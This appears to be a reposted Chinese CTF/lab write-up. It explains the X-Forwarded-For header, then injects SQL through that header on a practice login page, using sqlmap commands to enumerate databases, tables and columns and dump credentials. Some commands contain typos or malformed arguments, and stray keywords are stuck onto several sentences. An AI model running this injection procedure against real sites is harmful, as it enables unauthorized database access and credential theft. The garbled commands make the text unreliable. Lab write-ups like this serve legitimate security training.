墨者 - X-FORWARDED-FOR注入漏洞實戰

X-FORWARDED-FOR

   首先,X-Forwarded-For 是一個 HTTP 擴展頭部。HTTP/1.1(RFC 2616)協議並無對它的定義,它最開始是由 Squid 這個緩存代理軟件引入,用來表示 HTTP 請求端真實 IP。現在它已經成爲事實上的標準,被各大 HTTP 代理、負載均衡等轉發服務普遍使用,並被寫入 RFC 7239(Forwarded HTTP Extension)標準之中。php

  XFF 的內容由「英文逗號 + 空格」隔開的多個部分組成,最開始的是離服務端最遠的設備 IP,而後是每一級代理設備的 IP。html

若是一個 HTTP 請求到達服務器以前,通過了三個代理 Proxy一、Proxy二、Proxy3,IP 分別爲 IP一、IP二、IP3,用戶真實 IP 爲 IP0,那麼按照 XFF 標準,服務端最終會收到如下信息:python

X-Forwarded-For: IP0, IP1, IP2 

  Proxy3 直連服務器,它會給 XFF 追加 IP2,表示它是在幫 Proxy2 轉發請求。列表中並無 IP3,IP3 能夠在服務端經過 Remote Address 字段得到。咱們知道 HTTP 鏈接基於 TCP 鏈接,HTTP 協議中沒有 IP 的概念,Remote Address 來自 TCP 鏈接,表示與服務端創建 TCP 鏈接的設備 IP,在這個例子裏就是 IP3。sql

Remote Address 沒法僞造,由於創建 TCP 鏈接須要三次握手,若是僞造了源 IP,沒法創建 TCP 鏈接,更不會有後面的 HTTP 請求。不一樣語言獲取 Remote Address 的方式不同,例如 php 是 $_SERVER["REMOTE_ADDR"]。數據庫

 


 

進入網站發現只有一個登錄界面,任意輸入用戶名密碼登錄報錯而且彈出訪問ip。後端

用burp抓包沒發現X-Forwarded-For,因爲題目提到X-Forwarded-For,添加測試緩存

 

 回顯顯示ip地址,故猜想後端是讀取了x-forwarded-for的數據,服務器

 

將x-forwarded-for的值改成*並保存爲12.txt文檔放在sqlmap文件目錄下負載均衡

 

使用sqlmap注入爆破測試

爆數據庫

 python sqlmap.py -r 12.txt --dbs --batch

 

 

爆表名

python ssqlmap.py -r12.txt -D 數據庫名 --tables --batch

 

 

爆列名

python ssqlmap.py -r12.txt -D 數據庫名 -T 表名  --columns --batch

 

 

報數據

python ssqlmap.py -r12.txt -D 數據庫名 -T 表名  -C  dump 數據,數據,數據  --batch

 

 

獲取帳號密碼成功登入獲得key

 

 


 

*注:爆表名的時候在--table後必須加s  不加會報錯

 

 

爆數據的時候在dump後把數據用單引號會報錯

*

 

 

參考sqlmap命令詳細:http://www.javashuo.com/article/p-rczgtllq-kb.html

相關文章
相關標籤/搜索